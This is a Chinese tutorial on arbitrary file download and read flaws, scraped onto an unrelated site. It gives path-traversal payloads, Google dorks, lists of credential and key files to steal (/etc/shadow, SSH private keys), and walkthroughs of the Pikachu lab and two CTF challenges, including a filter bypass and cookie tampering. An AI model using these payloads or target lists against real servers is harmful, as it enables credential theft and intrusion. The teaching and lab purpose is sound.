佳木斯湛栽影视文化发展公司

主頁 > 知識庫 > 案例講解WEB 漏洞-文件操作之文件下載讀取

案例講解WEB 漏洞-文件操作之文件下載讀取

熱門標簽:美圖手機 服務(wù)器配置 銀行業(yè)務(wù) 呼叫中心市場需求 鐵路電話系統(tǒng) 網(wǎng)站文章發(fā)布 檢查注冊表項 智能手機

原理

產(chǎn)生:任意語言代碼下載函數(shù)
文件下載(一些網(wǎng)站由于業(yè)務(wù)需求,往往需要提供文件查看或文件下載功能,但若對用戶查看或下載的文件不做限制,則惡意用戶就能夠查看或下載任意敏感文件,這就是文件查看與下載漏洞。)

文件下載功能在很多web系統(tǒng)上都會出現(xiàn),一般我們當點擊下載鏈接,便會向后臺發(fā)送一個下載請求,一般這個請求會包含一個需要下載的文件名稱,后臺在收到請求后 會開始執(zhí)行下載代碼,將該文件名對應(yīng)的文件response給瀏覽器,從而完成下載。 如果后臺在收到請求的文件名后,將其直接拼進下載文件的路徑中而不對其進行安全判斷的話,則可能會引發(fā)不安全的文件下載漏洞。此時如果 攻擊者提交的不是一個程序預(yù)期的的文件名,而是一個精心構(gòu)造的路徑(比如../../../etc/passwd),則很有可能會直接將該指定的文件下載下來。 從而導(dǎo)致后臺敏感信息(密碼文件、源代碼等)被下載。
所以,在設(shè)計文件下載功能時,如果下載的目標文件是由前端傳進來的,則一定要對傳進來的文件進行安全考慮。

漏洞危害

下載服務(wù)器任意文件,如腳本代碼、服務(wù)及系統(tǒng)配置文件等
可用得到的代碼進一步代碼審計,得到更多可利用漏洞

利用方式

淺談任意文件下載漏洞的利用
信息收集信息→猜路徑→下載配置文件/代碼文件→利用服務(wù)器軟件漏洞→shell→提權(quán)

首先收集系統(tǒng)信息,包括系統(tǒng)版本,中間件,cms版本,服務(wù)器用途,服務(wù)器使用者信息,端口,web路徑等,然后根據(jù)收集到的信息,下載配置文件,如weblogic,ftp,ssh等, 根據(jù)下載到的配置文件進行滲透。

1. 讀取程序源代碼(如密碼配置文件)
2. 讀取程序配置文件(如數(shù)據(jù)庫連接文件)
如weblogic,ssh,ftp,數(shù)據(jù)庫配置文件等, 當解出密碼后,進行登陸,getshell
3. 讀取操作系統(tǒng)關(guān)鍵文件(如/etc/sadow,/ root/.bash_history等文件)
4. 讀取運維配置文件(redis/rsync/ftp/ssh客 戶端數(shù)據(jù)等)
5. 讀取中間件配置文件(weblogic/tomcat等 密碼文件,apache的httpd.conf文件)
6. 下載web日志文件(獲取網(wǎng)站后臺/上傳文件 等)
 下載日志文件,找到登錄/上傳/后臺/ 操作,找到登錄入口 可以爆破,測試默認口令,弱口令,  找到文件上傳點則測試文件上傳漏洞,找到后臺操作試試有沒有未授權(quán)訪問
7. 結(jié)合SSRF獲取內(nèi)網(wǎng)機器文件
8. 可以利用../返回到上級目錄下載敏感文件

系統(tǒng)文件

window

C:\boot.ini //查看系統(tǒng)版本
C:\Windows\System32\inetsrv\MetaBase. xml //IIS配置文件
C:\Windows\repair\sam //存儲系統(tǒng)初次安裝的密碼
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user. MYD  //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息

Linux

.bash_history` # 歷史中可能帶著用戶的密碼 ( 遇到過現(xiàn)實案例,是輸錯的情況下參數(shù)的,比如沒 輸入 su 卻以為自己輸了 su)
/etc/passwd # 用戶情況
/etc/shadow # 直接 John the Ripper
/etc/hosts # 主機信息,通常配置了一些內(nèi)網(wǎng) 域名
/root/.bash_history //root的bash歷史記錄
/root/.ssh/authorized_keys /root/.mysql_history //mysql的bash歷史記錄
/root/.wget-hsts /opt/nginx/conf/nginx.conf //nginx的配置文件
/var/www/html/index.html /etc/my.cnf /etc/httpd/conf/httpd.conf //httpd的配置文件
/proc/self/fd/fd[0-9]*(文件標識符)
/proc/mounts /porc/config.gz /proc/sched_debug // 提供cpu上正在運行的進程信息,可以獲得進程的pid號,可以配合后面需要pid的利用
/proc/mounts // 掛載的文件系統(tǒng)列表
/proc/net/arp //arp表,可以獲得內(nèi)網(wǎng)其他機器的地址
/proc/net/route //路由表信息
/proc/net/tcp and /proc/net/udp // 活動連接的信息
/proc/net/fib_trie // 路由緩存
/proc/version // 內(nèi)核版本
/proc/[PID]/cmdline // 可能包含有用的路徑信息
/proc/[PID]/environ // 程序運行的環(huán)境變量信息,可以用來包含getshell
/proc/[PID]/cwd // 當前進程的工作目錄
/proc/[PID]/fd/[#] // 訪問file descriptors, 某寫情況可以讀取到進程正在使用的文件,比如 access.log /root/.ssh/id_rsa /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys /etc/ssh/sshd_config /var/log/secure /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/syscomfig/network-scripts/ifcfg-eth1
/usr/local/tomcat/conf/tomcat-users. xml # tomcat 用戶配置文件
/root/.bashrc # 環(huán)境變量
/root/.bash_history # 還有root外的其他用戶
/root/.viminfo # vim 信息
/root/.ssh/id_rsa # 拿私鑰直接ssh
/proc/xxxx/cmdline # 進程狀態(tài)枚舉 xxxx 可以為0000-9999 使用burpsuite 數(shù)據(jù)庫 config 文件     web 日志 access.log, error.log /var/lib/php/sess_PHPSESSID # 非常規(guī)問題 session 文件
/proc/net/arp /proc/net/tcp /proc/net/udp /proc/net/dev

常見腳本敏感文件參考

PHP: inc/config. php獲得數(shù)據(jù)庫連接字符串中的口令信息
asp: inc/conn.asp文件,獲得數(shù)據(jù)庫連接字符串,得到數(shù)據(jù)庫口令。
aspx: web.config網(wǎng)站根目錄文件,獲得數(shù)據(jù)庫連接信息。
JSP: conf/ tomcat-user.xml文件,獲得tomcat管理界面的口令信息
WEB- INF /Web. xml文件,獲得數(shù)據(jù)庫連接字符串中的口令信息。

任意文件讀取

?php
    $filename = "test.txt";
    readfile($filename);
?>

?php
    $filename = "test.txt";
    $fp = fopen($filename,"r") or die("Unable to open file!");
    $data = fread($fp,filesize($filename));
    fclose($fp);
    echo $data;
?>

?php
    $filename = "test.txt";
    echo file_get_contents($filename);
?>

任意文件下載

直接下載:

a  rel="external nofollow" >Download/a>

用header()下載:

?php
    $filename = "uploads/201607141437284653.jpg";
    header('Content-Type: imgage/jpeg');
    header('Content-Disposition: attachment; filename='.$filename);
    header('Content-Lengh: '.filesize($filename));
?>

Google search

inurl:"readfile.php?file="
inurl:"read.php?filename="
inurl:"download.php?file="
inurl:"down.php?file="
等等...

漏洞利用代碼

readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00

1.文件被解析,則是文件包含漏洞
2.顯示源代碼,則是文件讀取漏洞
3.提示文件下載,則是文件下載漏洞

漏洞挖掘

可以用Google hacking或Web漏洞掃描器
從鏈接上看,形如:
    • readfile.php?file=***.txt
    • download.php?file=***.rar
從參數(shù)名看,形如:
    • RealPath= 
    • FilePath= 
    • filepath= 
    • Path= 
    • path= 
    • inputFile= 
    • url= 
    • urls= 
    • Lang= 
    • dis= 
    • data= 
    • readfile= 
    • filep= 
    • src= 
    • menu= 
    • META-INF 
    • WEB-INF
目錄符號等
../ ..\ .\ ./等
%00 ? %23 %20 .等

漏洞驗證

• index.php?f=../../../../../../etc/passwd 
• index.php?f=../index.php 
• index.php?f=file:///etc/passwd
注:當參數(shù)f的參數(shù)值為php文件時,若是文件被解析則是文件包含漏洞,
    若顯示源碼或提示下載則是文件查看與下載漏洞

漏洞防范

任意文件下載漏洞的簡單防護措施
1、過濾“.”符號,使用戶在url中無法回溯到上級目錄。
2、使用正則表達式嚴格判斷用戶輸入?yún)?shù)的格式。
3、php.ini配置文件中對于open_basedir進行配置,限定用戶的文件訪問范圍。
4、固定目錄

案例

pikuchu靶場-文件下載測試

1、判斷是否為文件上傳漏洞


點擊任意圖片,發(fā)現(xiàn)下載了圖片,復(fù)制圖片下載鏈接查看

http://127.0.0.1/xscj/pikachu-master/vul/unsafedownload/execdownload.php?filename=kb.png

查看參數(shù)名為filename,查看參數(shù)后面的值也與下載的文件名一樣
初步判定為文件上傳漏洞

2、判斷下載路徑
filename的文件名是單純的文件名,可判斷是前面加了路徑名,也可能是與網(wǎng)站在同一個目錄下
通過URL判斷文件是通過跳轉(zhuǎn)到execdownload.php頁面下載的,我們試試看可不可以直接下載到execdownload.php這個源碼

http://127.0.0.1/xscj/pikachu-master/vul/unsafedownload/execdownload.php?filename=execdownload.php

發(fā)現(xiàn)顯示無法下載,說明該execdownload.php與文件不在同一個路徑下,我們嘗試下到上一級路徑

http://127.0.0.1/xscj/pikachu-master/vul/unsafedownload/execdownload.php?filename=../execdownload.php


成功下載,打開源碼發(fā)現(xiàn)是在download文件夾下


說明文件下載路徑的文件夾與down_nba.php是同一級路徑
3、嘗試下載敏感文件(以下路徑均通過掃描路徑得到)
pikachu-master/inc/config.inc.php
當前下載路徑:
pikachu-master/vul/unsafedownload/download/xxx.xxx
與vul相差3個父目錄,所以加3個…/
完整url:
http://127.0.0.1/xscj/pikachu-master/vul/unsafedownload/execdownload.php?filename=…/…/…/inc/config.inc.php
下載成功,打開發(fā)現(xiàn)里面存在數(shù)據(jù)庫相關(guān)的配置文件

小米路由器-文件讀取真實測試-漏洞

復(fù)現(xiàn)

RoarCTF2019-文件讀取真題復(fù)現(xiàn)

wp
首先看到一個頁面,點擊下help看看啥情況。

發(fā)現(xiàn)輸出一串

java.io.FileNotFoundException:{help.docx}

是文件無法找到的異常信息

查詢資料發(fā)現(xiàn):
WEB-INF/web.xml泄露
WEB-INF是Java的WEB應(yīng)用的安全目錄。如果想在頁面中直接訪問其中的文件,必須通過web.xml文件對要訪問的文件進行相應(yīng)映射才能訪問。WEB-INF主要包含一下文件或目錄:
/WEB-INF/web.xml:Web應(yīng)用程序配置文件,描述了 servlet 和其他的應(yīng)用組件配置及命名規(guī)則。
/WEB-INF/classes/:含了站點所有用的 class 文件,包括 servlet class 和非servlet class,他們不能包含在 .jar文件中
/WEB-INF/lib/:存放web應(yīng)用需要的各種JAR文件,放置僅在這個應(yīng)用中要求使用的jar文件,如數(shù)據(jù)庫驅(qū)動jar文件
/WEB-INF/src/:源碼目錄,按照包名結(jié)構(gòu)放置各個java文件。
/WEB-INF/database.properties:數(shù)據(jù)庫配置文件

漏洞成因:
通常一些web應(yīng)用我們會使用多個web服務(wù)器搭配使用,解決其中的一個web服務(wù)器的性能缺陷以及做均衡負載的優(yōu)點和完成一些分層結(jié)構(gòu)的安全策略等。在使用這種架構(gòu)的時候,由于對靜態(tài)資源的目錄或文件的映射配置不當,可能會引發(fā)一些的安全問題,導(dǎo)致web.xml等文件能夠被讀取。漏洞檢測以及利用方法:通過找到web.xml文件,推斷class文件的路徑,最后直接class文件,在通過反編譯class文件,得到網(wǎng)站源碼。一般情況,jsp引擎默認都是禁止訪問WEB-INF目錄的,Nginx 配合Tomcat做均衡負載或集群等情況時,問題原因其實很簡單,Nginx不會去考慮配置其他類型引擎(Nginx不是jsp引擎)導(dǎo)致的安全問題而引入到自身的安全規(guī)范中來(這樣耦合性太高了),修改Nginx配置文件禁止訪問WEB-INF目錄就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!

根據(jù)上文,我們先找一下WEB-INF/web.xml,POST傳值

得到WEB-INF/web.xml文件,打開

?xml version="1.0" encoding="UTF-8"?>
web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    welcome-file-list>
        welcome-file>Index/welcome-file>
    /welcome-file-list>

    servlet>
        servlet-name>IndexController/servlet-name>
        servlet-class>com.wm.ctf.IndexController/servlet-class>
    /servlet>
    servlet-mapping>
        servlet-name>IndexController/servlet-name>
        url-pattern>/Index/url-pattern>
    /servlet-mapping>

    servlet>
        servlet-name>LoginController/servlet-name>
        servlet-class>com.wm.ctf.LoginController/servlet-class>
    /servlet>
    servlet-mapping>
        servlet-name>LoginController/servlet-name>
        url-pattern>/Login/url-pattern>
    /servlet-mapping>

    servlet>
        servlet-name>DownloadController/servlet-name>
        servlet-class>com.wm.ctf.DownloadController/servlet-class>
    /servlet>
    servlet-mapping>
        servlet-name>DownloadController/servlet-name>
        url-pattern>/Download/url-pattern>
    /servlet-mapping>

    servlet>
        servlet-name>FlagController/servlet-name>
        servlet-class>com.wm.ctf.FlagController/servlet-class>
    /servlet>
    servlet-mapping>
        servlet-name>FlagController/servlet-name>
        url-pattern>/Flag/url-pattern>
    /servlet-mapping>

/web-app>

我們可以看到com.wm.FlagController,

    servlet>
        servlet-name>FlagController/servlet-name>
        servlet-class>com.wm.ctf.FlagController/servlet-class>
    /servlet>

servlet-class里面的.代表的是路徑/
然后下載FlagController.class文件試一試

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

打開文件發(fā)現(xiàn)一串base編碼,進行base64解密得到flag


資料1
資料2

百度杯2017二月-Zone真題復(fù)現(xiàn)

靶場
wp1
wp2

1、 嘗試burp抓包發(fā)現(xiàn)cookie中有個login,值為0,將0改為1后在訪問首頁,發(fā)現(xiàn)可以正常登入


2、單擊 “manage” (此時還是需要用burp改login的值),點擊框框發(fā)現(xiàn)比較特殊的url;猜測可能存在文件包含或者下載、讀取

3、測試訪問url: xxxxxx.com/manages/admin.php?module=ind…/exname=php 頁面可以正常訪問,猜測過濾了一遍…/再試一試繞過 url:url: xxxxxx.com/manages/admin.php?module=ind…/./exname=php 訪問不正常;
說明過濾機制只是把…/進行了一次過濾,所以我們雙寫…/即可

4、訪問測試任意文件讀取判斷路徑通過不斷加…/ url:?module=…/./…/./…/./etc/passwdname
(用戶情況文件)

5、查看下服務(wù)器是nginx。找一下它的配置文件,根據(jù)信息讀取配置文件, url: manages/admin.php?module=…/./…/./…/./etc/nginx/nginx.conf 獲得關(guān)鍵文件sites-enabled/default 并進行讀取


module=…/./…/./…/./etc/nginx/sites-enabled/defaultname=獲得web文件路徑online-movies 并訪問


6、發(fā)現(xiàn)可以利用的漏洞,因為有一個autoindex on也就是開啟了目錄遍歷,我們可以訪問這個/online-movies/,訪問出現(xiàn)如下,再點擊…/發(fā)現(xiàn)要進行驗證,把login改為1后頁面空白,我通過百度發(fā)現(xiàn)要/online-movies/…才能遍歷(不清楚為什么)


7、訪問/online-movies…/

8、地址為:online-movies…/var/www/html/flag.php構(gòu)造url下載到flag.php獲得flag

到此這篇關(guān)于案例講解WEB 漏洞-文件操作之文件下載讀取的文章就介紹到這了,更多相關(guān)WEB 漏洞文件下載讀取內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

您可能感興趣的文章:
  • Python腳本實現(xiàn)Web漏洞掃描工具

標簽:新疆 河南 紅河 沈陽 上海 長治 樂山 滄州

巨人網(wǎng)絡(luò)通訊聲明:本文標題《案例講解WEB 漏洞-文件操作之文件下載讀取》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266
    伊春市| 松阳县| 凤翔县| 福鼎市| 四子王旗| 山西省| 佛教| 驻马店市| 辽阳市| 三原县| 宁德市| 重庆市| 和顺县| 宁阳县| 石屏县| 绵竹市| 云南省| 河南省| 拜城县| 新乐市| 铜鼓县| 新化县| 漠河县| 隆德县| 凤山市| 安顺市| 巫山县| 昌邑市| 额济纳旗| 额敏县| 阳西县| 蛟河市| 肥乡县| 巫溪县| 左云县| 古蔺县| 繁峙县| 大庆市| 江都市| 福安市| 江西省|